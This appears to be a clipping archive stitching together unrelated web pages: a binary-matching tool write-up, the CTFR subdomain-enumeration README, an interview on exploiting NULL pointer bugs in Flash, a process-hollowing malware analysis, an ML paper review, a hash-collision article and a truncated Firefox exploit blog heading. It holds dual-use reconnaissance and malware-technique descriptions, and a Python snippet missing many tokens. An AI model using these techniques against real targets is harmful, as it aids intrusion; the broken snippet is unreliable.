finds in the control flow graph signals that two merge candidate functions are
possible candidates for the same binary function, it can decide that a merge
occurred. Upon making this decision, the binary function now knows that it
represents several source functions, and will hold a list of the merged source
functions that it matched.

Using this optimization, we can now fix back anomalies in the control flow
graph, as each detected merge effectively expands the control flow graph one
step back to its original state before the linker optimizations. When tested
again on the same binary \(2d.x3d\), we had significantly better results: 248
/ 500 functions were matched, an improvement of 41 percent.

As we can see, Karta identified the linker’s optimizations for the function
\_TIFFNoFixupTags:

<img src='img/Temp2_4761.png' width='576' height='107' />

**Figure 13:** Matching results from Karta that successfully identify linker-
merged functions.

**Matching Results**

It is time to test how Karta handles our original OfficeJet firmware. We
tested the plugin inside a virtual machine \(VM\) on our computer \(not an
optimal benchmarking environment\), and here are the results:

<img src='img/Temp2_4757.png' width='576' height='232' />

**Figure 14:** Matching results on our tested OfficeJet firmware.

As we can easily see, even with approximately 65,000 functions, it took less
than 30 seconds to match an open source with 300 functions such as libpng. In
addition, we were able to match **all** of the referenced library functions,
i.e. functions that have at least one edge in the control flow graph.

\*The only way to verify the results was to perform a manual analysis of the
functions in IDA\*\*. As OpenSSL contains an insane amount of functions \(for
an open source\), the False Positive ratio could be higher, as we didn’t
manually analyze all of its functions.

\*\*Actually, Karta proved to be more accurate than our manual analysis, as on
most conflicts it turned out that we were wrong and Karta did a better job
labelling the function.

**Note \#1:** It is important to note that as Karta works on the canonical
representation of the functions, it is architecture agnostic. The
configurations we used for the above comparison were compiled using gcc on an
x86 32-bit setup, and were later matched to a Big-Endian ARM Thumb mode
binary.

**Note \#2:** Because our matching is done from the viewpoint of the matched
open source library, we can also deduce information on “external” functions –
functions that aren’t part of our library, but are called from it. For
example, libpng uses zlib, so our matcher was also able to identify the
inflateEnd and deflateEnd functions even before it started matching zlib.

<img src='img/Temp2_4754.png' width='576' height='71' />

**Figure 15:** External zlib functions matched during libpng’s matching.

In addition, in most cases we were able to match functions from the standard
library such as: memcpy, memcmp, malloc, etc. Any researcher that works on
reversing firmware files knows that the lack of FLIRT signatures makes it
mandatory to start each project by reversing and matching the popular libc
functions. By using Karta, most of the popular functions will be matched “for
free”, saving us the need to figure out which function is memcpy and which is
memmove.

**Comparison to Known Bin-Diffing Tools**

We are aware that it is sometimes hard to differentiate between all of the
available binary diffing / matching tools. Now that we’ve finished presenting
Karta, it is a good time to compare our plugin to other popular tools,
focusing on the different goals and characteristics of each tool. Keep in mind
that we don’t benchmark the results of the tools, mainly because these tools
weren’t designed for the same goal.

As we couldn’t compare _all_ of the existing tools out there, we chose to
focus on the following popular tools:

**BinDiff:** “BinDiff is a comparison tool for binary files, that assists
vulnerability researchers and engineers to quickly find differences and
similarities in disassembled code.

With BinDiff you can identify and isolate fixes for vulnerabilities in vendor-
supplied patches. You can also port symbols and comments between disassemblies
of multiple versions of the same binary or use BinDiff to gather evidence for
code theft or patent infringement.”

**Diaphora:** “Diaphora \(διαφορά, Greek for ‘difference’\) is a program
diffing plugin for IDA, similar to Zynamics Bindiff or other FOSS counterparts
like YaDiff, DarunGrim, TurboDiff, etc… It was released during SyScan 2015.”

**Pigaios:** “Pigaios \(‘πηγαίος’, Greek for ‘source’ as in ‘source code’\) is
a tool for diffing/matching source codes directly against binaries. The idea
is to point a tool to a code base, regardless of it being compilable or not
\(for example, partial source code or source code for platforms not at your
hand\), extract information from that code base and, then, import in an IDA
database function names \(symbols\), structures and enumerations.”

**FunctionSimSearch:**FunctionSimSearch is a set of tools to efficiently
perform a fuzzy search into a relatively large space of possible functions
\(the binary\). The goal of these tools is to match known \(possibly
vulnerable\) functions in order to identify statically linked software
libraries\*.

\*Project Zero’s didn’t explicitly define a summary of FunctionSimSearch. This
is our description, not a quote from their site.

**Karta \(our plugin\):** “Karta \(Russian for “map”\) is an IDA Python plugin
that identifies and matches open-sourced libraries in a given binary. The
plugin uses a unique technique that enables it to support huge binaries
\(>200,000 functions\), with almost no impact on the overall performance.”

The comparison parameters are:

  * Open Source – Is the tool open sourced? \(Yes\) or closed sourced? \(No\)
  * Architecture agnostic – Can it compare two samples, regardless of the architecture they were originally compiled to?
  * Supports large binaries – Does it supports large binaries?
  * Source code assisted – Does it leverages information from the source code to improve the matching ratio?
  * Identifies versions – Does it identify the version of the compared sample? Does it do this before or after the matching?

Here is the table with our results:

<img src='img/Temp2_4756.png' width='576' height='148' />

**Figure 16:** Comparison between our matching tool, and popular diffing /
matching tools.

**Note:** Although BinDiff and Diaphora can be used to compare \(**bin-
diff**\) two binaries, for example, for patch diffing, Karta was developed
with the goal of **matching** binary symbols of known open sources. While this
limits the use cases for which Karta can be used, its focused goals enables it
to achieve improved matching ratios using simpler comparison heuristics.

As there is no \(known\) silver bullet to solve all binary matching / diffing
problems, we believe that it is important to judge each tool based on the
goals for which it was first designed.

**Appendix A –list of currently supported identifiers**

Measure

Measure

# UnaPibaGeek/ctfr

**Created:**| _3/7/2018 1:41:15 PM_  
---|---  
**Updated:**| _3/7/2018 1:41:15 PM_  
**Author:**| _wishi_  
**Tags:**| _Footprinting DNS_  
  

  

Abusing Certificate Transparency logs for getting HTTPS websites subdomains.

  * 15  commits 
  * 1  branch 
  * 0  releases 
  * 1  contributor 
  * GPL-3.0 

  1. Python 100.0%

Python

Clone or download

Upload files  Find file

New pull request

Latest commit  fbabac7  12 hours ago

<img src='img/15347928.jpg' width='20' height='20' alt='@UnaPibaGeek' />
UnaPibaGeek

UnaPibaGeekView all commits by UnaPibaGeek Update README.md

|  LICENSE |  Initial commit |  2 days ago  
---|---|---|---  
|  README.md |  Update README.md |  12 hours ago  
|  ctfr.py |  Remove duplicate items. |  12 hours ago  
|  requirements.txt |  CTFR v1.0 |  a day ago  
###  README.md

# CTFR

Do you miss AXFR technique? This tool allows to get the subdomains from a
HTTP**S** website in a few seconds.  
How it works? CTFR does not use neither dictionary attack nor brute-force, it
just abuses of Certificate Transparency logs.  
For more information about CT logs, check www.certificate-transparency.org.

## Getting Started

Please, follow the instructions below for installing and run CTFR.

### Pre-requisites

Make sure you have installed the following tools:

[code]

    Python 3.0 or later.
    pip3 (sudo apt-get install python3-pip).
    
[/code]

### Installing

[code]

    git clone https://github.com/UnaPibaGeek/ctfr.git
    cd ctfr
    pip3 install -r requirements.txt
    
[/code]

### Running

[code]

    python3 ctfr.py --help
    
[/code]

## Usage

Parameters and examples of use.

### Parameters

[code]

    -d --domain [target_domain] (required)
    -o --output [output_file] (optional)
    
[/code]

### Examples

[code]

    python3 ctfr.py -d starbucks.com
    
[/code]

[code]

    python3 ctfr.py -d facebook.com -o /home/shei/subdomains_fb.txt
    
[/code]

## Screenshots

<img
src='img/687474703a2f2f7777772e73656d656361796f756e6578706c6f69742e636f6d2f435446522f435446522d53542e706e67.png'
width='497' height='634' />

<img
src='img/687474703a2f2f7777772e73656d656361796f756e6578706c6f69742e636f6d2f435446522f435446522d46422e706e67.png'
width='499' height='630' />

## Author

  * _Sheila A. Berta -\(@UnaPibaGeek\)._

  

# Welcome | Legit \(Git for Humans\)
**Created:**| _4/7/2012 11:12:46 AM_  
---|---  
**Updated:**| _4/7/2012 11:12:46 AM_  
**Author:**| __  
**Tags:**| _Git simple_  
  

## Git for Humans

Feature branch workflows are dead simple.

[code]

    $ git switch <branch>
    # Switches to branch. Stashes and restores unstaged changes.
    
    $ git sync
    # Syncronizes current branch. Auto-merge/rebase, un/stash.
    
    $ git publish <branch>
    # Publishes branch to remote server.
    
    $ git unpublish <branch>
    # Removes branch from remote server.
    
    $ git harvest <branch>
    # Auto-merge/rebase commits from given branch.
    
    $ git sprout <branch>
    # Sprout a new branch from the current branch.
    
    $ git graft <branch>
    # Merge unpublished branch into current branch, then remove it.
    
    $ git branches
    # Nice & pretty list of branches + publication status.
    
    
[/code]

## Installing Legit

[code]

    $ pip install legit
    $ legit install
    <installs git aliases>
[/code]

Nice and simple — the way it should be.

# Q&A: Mark Dowd on NULL pointer dereference bugs

**Created:**| _3/18/2011 5:14:54 PM_  
---|---  
**Updated:**| _3/18/2011 5:14:54 PM_  
**Author:**| __  
**Tags:**| _Exploit nullpointerderef_  
  

Activate your FREE membership today | Log-in
  * SECURITY AU
  * CIO AU
  * STORAGE AU

  * News
  * White Papers
  * Multimedia
  * Topics
  * ITKnowledgeExchange
  * RSS

  * App and OS security
    * App security
    * Messaging security
    * Web security
    * OS security
    * Managing vulnerabilities
  * Threats
    * Email threats
    * Cybercrime
    * Data security
    * Malware
  * Network security
    * Network design
    * Access management
    * Intrusion management
    * Endpoint security
    * Secure remote access
  * Information security
    * Risk management
    * Security jobs
    * Information security market
    * Newsmakers

**SEARCH this site and the web** Site Index

  * Home
  * >Topics
  * >Application and platform security
  * >Application security
  * >_Q &A: Mark Dowd on NULL pointer dereference bugs_

Print

Email This

## Security AU News:

# Q&A: Mark Dowd on NULL pointer dereference bugs

By Patrick Gray

02 May 2008 | SearchSecurity.com.au
  * Digg This
  * Stumble
  * Delicious

IBM ISS researcher Mark Dowd took a NULL pointer dereference bug in Adobe’s
Flash client -- which most people would assume couldn’t be exploited -- and
exploited in with incredible style. His 25-page paper on the bug and its
exploitation has the entire security community talking. The following is a
transcript of Mark Dowd’s interview on the Risky Business security podcast.

**Mark Dowd \(MD\):** The paper itself discusses a specific vulnerability in
Flash and basically it outlines the vulnerability which is the NULL pointer
type vulnerability. It also discusses in depth an exploitation technique for
leveraging that vulnerability to gain reliable and remote access to machines
running Flash. There has been a lot of attention drawn to the paper for two
reasons. One is because Flash is really widely deployed and is available on
UNIX, Windows, Mac and a range of embedded devices and so a major
vulnerability in Flash is a pretty big deal.

The other reason is that with NULL pointer type vulnerabilities, people don’t
really concentrate on them... except in a few specific cases, and have sort of
assumed that they are unexploitable for the most part. That is not always the
case which is what this paper is illustrating.

**Patrick Gray \(PG\):** I believe that back in 2006 -- I am looking at a
little bit of a blurb here on Uninformed.org -- there was some research going
into NULL pointer dereferences. But what you have done is taken it a step
further and it really is the method of exploitation that has got people
excited here isn’t it?

**MD:** Yeah. The thing in Uninformed.org was addressing a slightly different
issue. There has been a number of papers and investigations into NULL pointer
dereferences in the past and a lot of them in the past have focused on
basically operating system level vulnerabilities where you are able to get a
valid page mapped at the base address of a process. So basically any
dereference from NULL will be exploitable or something. There are a few papers
on that -- the Uninformed one that you mentioned and there was another one
specifically in the context of ARM processes that Barnaby Jack did last year.

**PG:** I was actually going to get to that. That was a pretty big deal and
that caused quite a stir in the area of embedded devices.

**MD:** Yeah. So he was basically outlining how in a lot of cases on embedded
devices you can exploit your standard NULL pointer dereference because there
is a pretty important vector table mapped at that address. The vulnerabilities
that I discovered was basically where a memory allocation failed so a NULL
pointer was returned and the address written to wasn't NULL it was NULL plus
some offset. That offset was more or less controllable by the user so when you
add NULL with this valid and arbitrarily large offset you can actually write
to a valid region in memory and often you can leverage that to execute
arbitrary code or do whatever you want.

**PG:** I spoke to H D Moore earlier today -- he's next week's guest on Risky
Business -- and he basically said most people, when confronted with these sort
of bugs, are not really even going to look at figuring out how to exploit them
because... you are never really going to be able to do it that successfully
anyway. So what on earth possessed you to actually do this research that no
one else seems to have got around to?

**MD:** Basically it was a special case... I looked at and at first it just
seemed like a NULL pointer dereference which usually results in a crash and
which is not particularly exciting in the context of Flash.

But I realised that the way that the way the code was structured that you
could actually write to a location other than NULL and I used this information
and went forward and said well OK, what could I do that could be useful here
and because I had done a fairly extensive application review of Flash I was
aware of the workings of how the virtual machine worked quite intimately and
so it was the first thing that occurred to me.

I just thought "oh yeah, this would be a really interesting attack to try and
I think it should work". So I tried it out and it ended up working out.
Basically because I had researched quite a lot of how the application worked
already.

**PG:** In real terms what are the implications of this research? I believe
Flash is the most commonly installed piece of software on the planet because
it ships with Windows, runs on Apple and Linux... It runs on absolutely
everything... this is a cross platform bug isn’t it?

**MD:** Yes. Any system that has Flash installed. My exploitation methodology
would work on a number of platforms with slight modification but it really
depends on the specifics of each platform. My paper specifically targeted
Windows but a similar style attack would likely to work out just fine on Mac
and Linux etcetera.

**PG:** Work out just fine, I like that... Not if you're the owner of that
machine\! People are saying that this could mean that you have basically
uncovered a separate class of vulnerability or made a particular class of
vulnerability easier to exploit. Are they hyping this up to much or have you
really opened up a bit of a can of worms with this stuff?

**MD:** Well time will tell I guess. I didn’t invent NULL pointer dereference
bugs or anything like that. If you look in the past over the thousand of
vulnerabilities that have come out over the past couple of years I am sure you
will find a couple of instances of NULL dereference type bugs. In fact I even
eluded to them in the book that I wrote several years ago. But one of the
interesting things is that like we sort of mentioned before, very few
developers and security researchers actually take the time to consider that
they can be an exploitable bug rather than just breezing over it and either
not noticing it or seeing it and going "yeah that is just a crash at best".
From looking at other applications like since Flash I think that this kind of
bug is more common than people think it is and people are going to start
paying attention to those conditions a lot more carefully when they are doing
code reviews and stuff like that.

**PG:** Do you think people are currently going back through old NULL pointer
issues and trying to exploit them anew given the knowledge that’s surfaced in
your paper?

**MD:** Yeah it is possible. Not just going back through old code but having
it at the forefront of your mind when you are looking at new applications as
well. Whenever you come across an allocation where the return value hasn’t
been checked carefully, just looking at what happens immediately afterwards
and seeing whether there is a situation where you can actually write to a
valid location in memory and cause something very bad to happen.

**PG:** So we could see a flurry of pretty serious vulnerabilities pop up
because of this research?

**MD:** Yes it is possible. It depends on how many people pick it up and run
with it. Like I mentioned before I have found in other applications similar
problems since then and they are in various stages of disclosure but my
impression is that there is quite a few of these vulnerabilities to be found
and it seems likely that over the rest of the year or however a lot more of
these types of bugs are going to start surfacing.

**PG:** Yeah now one of the other things I read in various analysis pieces
based on your paper is that this blows away the myth that code written in
really high level languages like C\# and so forth can’t have memory bugs. Can
you walk us through the reasons why that is the case?

**MD:** A lot of the discussion is valid and some of it is misplaced.
Basically the argument is that high level languages such as Java, C\# and all
that can’t have memory corruption style bugs because they basically don’t
allow you to manipulate memory directly and that is true. But the thing they
are glossing over is that the virtual machine itself is written in the lower
level language in most cases and not only that but they have native
extensions.

Basically when you need the virtual machine to actually do something with the
underlying systems such as open files or get access to devices or whatever,
there is often a native component underlying the virtual machine that has to
communicate with and you end up having native code being executed in a whole
series of circumstances to basically request things from the system.

To say that memory corruption bugs don’t exist in high level languages is not
exactly true because you can find a vulnerability in the virtual machine
itself or within one of these native extensions to the language. This is stuff
that has been talked about before and if you look back over vulnerabilities in
the past there have been vulnerabilities in the Java virtual machine as well
as in dot net not so long ago. It is known that you can get access to low
level vulnerabilities through these higher level languages but a lot of people
sometimes tend to forget that.

**PG:** I suppose you have just reminded them with a vengeance.
Congratulations again Mark. It seems like you have done very well out of this
one and got the kudos from all the right people. What next are you working on?
Can we warn people?

**MD:** I have got a couple of things lined up on my plate. At this stage I am
probably going to be looking further into various protection mechanisms and
stuff specifically on the Windows platforms, the Run Time protection
mechanisms and stuff. I will probably be giving a talk on that kind of thing
later in the year, maybe at Black Hat or something like that.

**PG:** So you are about to make some guys in Redmond very unhappy?

**MD:** They love it really\!

**PG:** They like it rough\!

**MD:** Yeah.

**Related Topics:** Application security, VIEW ALL TAGS

  * Digg This
  * Stumble
  * Delicious

#### Related Content

  * ##### Application security
    * Vendors slow to act on bug reports
    * Q&A: Mark Dowd on NULL pointer dereference bugs
    * RSA 2011: The wrap - UPDATED
    * How to detect and stop SQL injection attacks
    * Sportingbet does not gamble on security
    * Hosted office apps "the worst consumer IT threat" \- Gartner
    * The 'military digital complex'
    * How to secure Remote Desktop Services in Windows Server 2008
    * User security in the office of the future
    * Sourcefire says applications the new security battleground, predicts "awesome attack on Web 2.0

#### Related Resources

  * 2020software.com, trial software downloads for accounting software, ERP software, CRM software and Business Software Systems
  * Search Bitpipe.com for the latest white papers and business webcasts
  * Whatis.com, the online computer dictionary

**SEARCH**

About Us | Contact Us | For Advertisers | For Business Partners | Site Index | RSS
TechTarget provides technology professionals with the information they need to
perform their jobs - from developing strategy, to making cost-effective
purchase decisions and managing their organizations' technology projects -
with its network of technology-specific websites, events and online magazines.

TechTarget Corporate Web Site | Media Kits | Reprints | Site Map
All Rights Reserved, Copyright 2010 - 2011, TechTarget | Terms of Use | Read our Privacy Statement
 _TechTarget - The IT Media ROI Experts_

<img src='img/Temp2_6541.png' />

# Analyzing Process hollowing with a look into Thread Context structure «
Malware Research

**Created:**| _5/22/2011 4:57:32 PM_  
---|---  
**Updated:**| _5/22/2011 4:57:41 PM_  
**Author:**| __  
**Tags:**| _Debugging Malware-analysis windows environment_  
  

## Analyzing Process hollowing with a look into Thread Context structure

By Dinesh Venkatesan

In the previous blog, We have seen how we can use Procexplorer to analyze
hollow processes.

In this blog, we shall extend the analysis and see how the Thread context
registers actually gets manipulated before resuming the thread.

1\. The first step, the victim process gets created in “Suspended mode”.
Please note the flag CREATE\_SUSPENDED.

<img src='img/Temp2_699.jpg' width='450' height='326' alt='Create Process with
Suspended mode' />

Create Process with Suspended mode

In this case, the victim is C:\windows\system32\notepad.exe.  
Once, the process is started in suspended mode, a call ZwUnmapviewsection is
made to make the memory available.

The snapshot shows the hollowed out memory.

<img src='img/Temp2_698.jpg' width='450' height='262' alt='Hollowed out
process memory' />

Hollowed out process memory

Then the hollowed process memory is written with the PE header and the PE
sections of the replacement process.

<img src='img/Temp2_702.jpg' width='450' height='262' alt='After call to
"WriteProcessMemory"' />

After call to "WriteProcessMemory"

Then a call to GetThreadContext returns the Thread CONTEXT data structure. The
snapshot below shows the ThreadContext structure dump before manipulation. You
can see that it’s EAX register contains the Entrypoint of notepad.exe

<img src='img/Temp2_697.jpg' width='450' height='326'
alt='pcontext_structure_before_manipulation_containing_notepad_EP' />

pcontext\_structure\_before\_manipulation\_containing\_notepad\_EP

Now, the EAX register value in the Context register is manipulated to contain
the Entrypoint of the winmine.exe \(replacement process\)

<img src='img/Temp2_701.jpg' width='450' height='326'
alt='pcontext_structure_modifying_EAX_to_Point_to_winmine' />

pcontext\_structure\_modifying\_EAX\_to\_Point\_to\_winmine

Once, it is done, the suspended thread is resumed with a call to Resume
Thread.

Hope you have enjoyed the read. Cheers <img src='img/Temp2_700.jpg' alt=':)'
/>

# Understanding deep learning requires re-thinking generalization

**Created:**| _5/13/2017 11:55:47 AM_  
---|---  
**Updated:**| _5/13/2017 11:55:47 AM_  
**Author:**| __  
**Tags:**| _machine-learning_  
  

  

# Understanding deep learning requires re-thinking generalization

May 11, 2017

tags: Deep Learning

.

Understanding deep learning requires re-thinking generalization Zhang et al.,
_ICLR’17_

This paper has a wonderful combination of properties: the results are easy to
understand, somewhat surprising, and then leave you pondering over what it all
might mean for a long while afterwards\!

The question the authors set out to answer was this:

> What is it that distinguishes neural networks that generalize well from
> those that don’t? A satisfying answer to this question would not only help
> to make neural networks more interpretable, but it might also lead to more
> principled and reliable model architecture design.
By “generalize well,” the authors simply mean “what causes a network that
performs well on training data to also perform well on the \(held out\) test
data?” \(As opposed to transfer learning, which involves applying the trained
network to a related but different problem\). If you think about that for a
moment, the question pretty much boils down to “why do neural networks work as
well as they do?” Generalisation is the difference between just memorising
portions of the training data and parroting it back, and actually developing
some meaningful intuition about the dataset that can be used to make
predictions. So it would be somewhat troubling, would it not, if the answer to
the question “why do neural networks work \(generalize\) as well as they do?”
turned out to be “we don’t really know\!”

### The curious case of the random labels

Our story begins in a familiar place – the CIFAR 10 \(50,000 training images
split across 10 classes, 10,000 validation images\) and the ILSVRC
\(ImageNet\) 2012 \(1,281,167 training, 50,000 validation images, 1000
classes\) datasets and variations of the Inception network architecture.

Train the networks using the training data, and you won’t be surprised to hear
that they can reach zero errors on the _training set_. This is highly
indicative of _overfitting_ – memorising training examples rather than
learning true predictive features. We can use techniques such as
regularisation to combat overfitting, leading to networks that generalise
better. More on that later.

Take the same training data, but this time randomly jumble the labels \(i.e.,
such that there is no longer any genuine correspondence between the label and
what’s in the image\). Train the networks using these random labels and what
do you get? _Zero training error\!_

> In \[this\] case, there is no longer any relationship between the instances
> and the class labels. As a result, learning is impossible. Intuition
> suggests that this impossibility should manifest itself clearly during
> training, e.g., by training not converging or slowing down substantially. To
> our suprise, several properties of the training process for multiple
> standard architectures is largely unaffected by this transformation of the
> labels.
As the authors succinctly put it, “ _Deep neural networks easily fit random
labels_.” Here are three key observations from this first experiment:

  1. The effective capacity of neural networks is sufficient for memorising the entire data set.
  2. Even optimisation on _random labels_ remains easy. In fact, training time increases by only a small constant factor compared with training on the true labels.
  3. Randomising labels is solely a data transformation, leaving all other properties of the learning problem unchanged.

If you take the network trained on random labels, and then see how well it
performs on the test data, it of course doesn’t do very well at all because it
hasn’t truly learned anything about the dataset. A fancy way of saying this is
that it has a high generalisation error. Put all this together and you realise
that:

> … by randomizing labels alone we can force the generalization error of a
> model to jump up considerably _without changing the model, its size,
> hyperparameters, or the optimizer._ We establish this fact for several
> different standard architectures trained on the CIFAR 10 and ImageNet
> classification benchmarks. \(Emphasis mine\).
Or in other words: the model, its size, hyperparameters, and the optimiser
cannot explain the generalisation performance of state-of-the-art neural
networks. This must be the case because the generalisation performance can
vary significantly while they all remain unchanged.

### The even more curious case of the random images

What happens if we don’t just mess with the labels, but we also mess with the
images themselves. In fact, what if just replace the true images with random
noise?? In the figures this is labeled as the ‘Gaussian’ experiment because a
Guassian distribution with matching mean and variance to the original image
dataset is used to generate random pixels for each image.

In turns out that what happens is the networks train to zero training error
still, but they get there even faster than the random labels case\! A
hypothesis for why this happens is that the random pixel images are more
separated from each other than the random label case of images that originally
all belonged to the same class, but now must be learned as differing classes
due to label swaps.

The team experiment with a spectrum of changes introducing different degrees
and kinds of randomisation into the dataset:

  * true labels \(original dataset without modification\)
  * partially corrupted labels \(mess with some of the labels\)
  * random labels \(mess with all of the labels\)
  * shuffled pixels \(choose a pixel permutation, and then apply it uniformly to all images\)
  * random pixels \(apply a different random permutation to each image independently\)
  * Guassian \(just make stuff up for each image, as described previously\)

<img src='img/understanding-deep-learning-fig-1.jpeg' width='566' height='274'
/>

All the way along the spectrum, the networks are still able to perfectly fit
the training data.

> We furthermore vary the amount of randomization, interpolating smoothly
> between the case of no noise and complete noise. This leads to a range of
> intermediate learning problems where there remains some level of signal in
> the labels. We observe a steady deterioration of the generalization error as
> we increase the noise level. This shows that neural networks are able to
> capture the remaining signal in the data, while at the same time fit the
> noisy part using brute-force.
For me that last sentence is key. Certain choices we make in model
architecture clearly do make a difference in the ability of a model to
generalise \(otherwise all architectures would generalise the same\). The best
generalising network in the world is still going to have to fallback on
memorisation when there is no other true signal in the data though. So maybe
we need a way to tease apart the true potential for generalisation that exists
in the dataset, and how efficient a given model architecture is at capturing
this latent potential. A simple way of doing that is to train different
architectures on the same dataset\! \(Which we do all the time of course\).
That still doesn’t help us with the original quest though – understanding
_why_ some models generalise better than others.

### Regularization to the rescue?

The model architecture itself is clearly not a sufficient regulariser \(can’t
prevent overfitting / memorising\). But what about commonly used
regularisation techniques?

> We show that explicit forms of regularization, such as weight decay,
> dropout, and data augmentation, do not adequately explain the generalization
> error of neural networks: _Explicit regularization may improve
> generalization performance, but is neither necessary nor by itself
> sufficient for controlling generalization error._
<img src='img/understanding-deep-learning-fig-2.jpeg' width='566' height='326'
/>

Explicit regularisation seems to be more of a tuning parameter that helps
improve generalisation, but its absence does not necessarily imply poor
generalisation error. It is certainly not the case that not all models that
fit the training data generalise well though. An interesting piece of analysis
in the paper shows that we pick up a certain amount of regularisation just
through the process of using gradient descent:

> We analyze how SGD acts as an implicit regularizer. For linear models, SGD
> always converges to a solution with small norm. Hence, the algorithm itself
> is implicitly regularizing the solution… Though this doesn’t explain why
> certain architectures generalize better than other architectures, it does
> suggest that more investigation is needed to understand exactly what the
> properties are that are inherited by models trained using SGD.
### The effective capacity of machine learning models

Consider the case of neural networks working with a finite sample size of _n_.
If a network has _p_ parameters, where _p_ is greater than _n_ , then _even a
simple two-layer neural network can represent any function of the input
sample._ The authors prove \(in an appendix\), the following theorem:

> There exists a two-layer neural network with ReLU activations and _2n + d_
> weights that can represent any function on a sample of size _n_ in _d_
> dimensions.
Even depth-2 networks of linear size can already represent any labeling of the
training data\!

### So where does this all leave us?

> This situation poses a conceptual challenge to statistical learning theory
> as traditional measures of model complexity struggle to explain the
> generalization ability of large artificial neural networks. We argue that we
> have yet to discover a precise formal measure under which these enormous
> models are simple. Another insight resulting from our experiments is that
> optimization continues to be empirically easy even if the resulting model
> does not generalize. This shows that the reasons for why optimization is
> empirically easy must be different from the true cause of generalization.
### Share this:

  * Twitter
  * LinkedIn67
  * Email
  * Print
  * 

 Like

  * <img src='img/1205eba81fd91055db3e96a9d6362697.png' width='30' height='30' alt='mhneifer' />
  * <img src='img/66558422eae62fd9efbad8d0c7b6644e.jpg' width='30' height='30' alt='vikdutt' />
  * <img src='img/e64d9ecae40444f351e4907c3f86a078.jpg' width='30' height='30' alt='Edgar Press Blogs' />

3 bloggers like this.

### _Related_

Learning to learn by gradient descent by gradient descentIn "Machine Learning"

Understanding, generalisation, and transfer learning in deep neural networksIn
"Machine Learning"

Why does deep and cheap learning work so well?With 7 comments

.

from → Uncategorized

  

# Hash Collision Probabilities

**Created:**| _8/25/2014 4:55:37 PM_  
---|---  
**Updated:**| _8/25/2014 4:55:37 PM_  
**Author:**| __  
**Tags:**| _crypto math_  
  

# Hash Collision Probabilities

A hash function takes an item of a given type and generates an integer hash
value within a given range. The input items can be anything: strings, compiled
shader programs, files, even directories. The same input always generates the
same hash value, and a good hash function tends to generate different hash
values when given different inputs.

A hash function has no awareness of “other” items in the set of inputs. It
just performs some arithmetic and/or bit-magic operations on the input item
passed to it. Therefore, there’s always a chance that two different inputs
will generate the same hash value.

Take the well-known hash function CRC32, for example. If you feed this
function the two strings “plumless” and “buckeroo”, it generates the same
value. This is known as a hash collision.

<img src='img/Temp2_3658.png' />

What is the probability of a hash collision? This question is just a general
form of the birthday problem from mathematics. The answer is not always
intuitive, so it’s difficult to guess correctly. Let’s derive the math and try
to get a better feel for those probabilities.

## Calculating the Probability of a Hash Collision

There are many choices of hash function, and the creation of a good hash
function is still an active area of research. Some hash functions are fast;
others are slow. Some distribute hash values evenly across the available
range; others don’t. If you’re interested in the real-world performance of a
few known hash functions, Charles Bloom and strchr.com offer some comparisons.
For our purposes, let’s assume the hash function is pretty good — it
distributes hash values evenly across the available range.

In this case, generating hash values for a collection of inputs is a lot like
generating a collection of random numbers. Our question, then, translates into
the following:

> Given \\\(k \\\) randomly generated values, where each value is a non-
> negative integer less than \\\(N \\\), what is the probability that at least
> two of them are equal?
It turns out it’s actually a bit simpler to start with the reverse question:
What is the probability that they are all unique? Whatever the answer to the
reverse question, we can just subtract it from one, and we’ll have the answer
to our original question.

Given a space of \\\(N \\\) possible hash values, suppose you’ve already
picked a single value. After that, there are \\\(N-1 \\\) remaining values
\(out of a possible \\\(N \\\)\) that are unique from the first. Therefore,
the probability of randomly generating two integers that are unique from each
other is \\\(\frac\{N-1\}\{N\} \\\).

After that, there are \\\(N-2 \\\) remaining values \(out of a possible \\\(N
\\\)\) that are unique from the first two, which means that the probability of
randomly generating three integers that are all unique is
\\\(\frac\{N-1\}\{N\}\times\frac\{N-2\}\{N\} \\\). \(We can multiply the
probabilities together because each random number generation is an independent
event.\)

In general, the probability of randomly generating \\\(k \\\) integers that
are all unique is:

On a computer, this can be quite slow to evaluate for large k. Luckily, the
above expression is approximately equal to:

$$ e^\{\frac\{-k\(k-1\)\}\{2N\}\} $$

which is a lot faster to compute. How do we know this is a good approximation?
Well, it can be shown analytically, using the Taylor expansion of \\\(e^x \\\)
and an epsilon-delta proof, that the approximation error tends to zero as
\\\(N \\\) increases. Or, you can just compute both values and compare them.
Run the following Python script with different \\\(N \\\), and you’ll get a
feeling for just how accurate the approximation is:

[code]

    import 
    N = 1000000
    probUnique = 
     k  xrange(, ):
        probUnique = probUnique * (N - (k - )) / N
        print k,  - probUnique,  - math.exp(- * k * (k - ) / N)
    
[/code]

Great, so this magic expression serves as our probability that all values are
unique. Subtract it from one, and you have the probability of a hash
collision:

$$ 1 - e^\{\frac\{-k\(k-1\)\}\{2N\}\} $$

Here is a graph for \\\(N = 2^\{32\} \\\). This illustrates the probability of
collision when using 32-bit hash values. It’s worth noting that a 50% chance
of collision occurs when the number of hashes is 77163. Also note that the
graph takes the same S-curved shape for any value of \\\(N \\\).

<img src='img/Temp2_3657.png' />

## Simplified Approximations

It’s interesting that our approximation takes the form \\\(1 - e^\{-X\} \\\),
because it just so happens that for any \\\(X \\\) that is very small, say
\\\(\frac\{1\}\{10\} \\\) or less:

In other words, the exponent makes a pretty good approximation all by itself\!
In fact, the smaller the \\\(X \\\), the more accurate it gets. So for small
collision probabilities, we can use the simplified expression:

This is actually a handy representation, because it avoids some numerical
precision problems in the original expression. Floating point numbers are not
very good at representing values extremely close to 1.

Furthermore, if you’re talking about more than a handful of \\\(k \\\), there
isn’t a very big difference between \\\(k\(k-1\) \\\) and \\\(k^2 \\\). So the
absolute simplest approximation is just:

## Small Collision Probabilities

In certain applications — such as when using hash values as IDs — it can be
very important to avoid collisions. That’s why the most interesting
probabilities are the small ones.

Assuming your hash values are 32-bit, 64-bit or 160-bit, the following table
contains a range of small probabilities. If you know the number of hash
values, simply find the nearest matching row. To help put the numbers in
perspective, I’ve included a few real-world probabilities scraped from the
web, like the odds of winning the lottery.

<img src='img/Temp2_3656.png' />

# VUPEN Vulnerability Research Blog - Advanced Exploitation of Mozilla Firefox
Use-After-Free Vulnerability \(Pwn2Own 2014 / CVE-2014-1512\)

**Created:**| _6/11/2014 10:13:48 AM_  
---|---  
**Updated:**| _6/11/2014 10:13:48 AM_  
**Author:**| __  
**Tags:**| _Exploit browser_  
  

# Advanced Exploitation of Mozilla Firefox Use-After-Free Vulnerability
\(Pwn2Own 2014

** Advanced Exploitation of Mozilla Firefox Use-After-Free Vulnerability
\(Pwn2Own 2014\)  
**

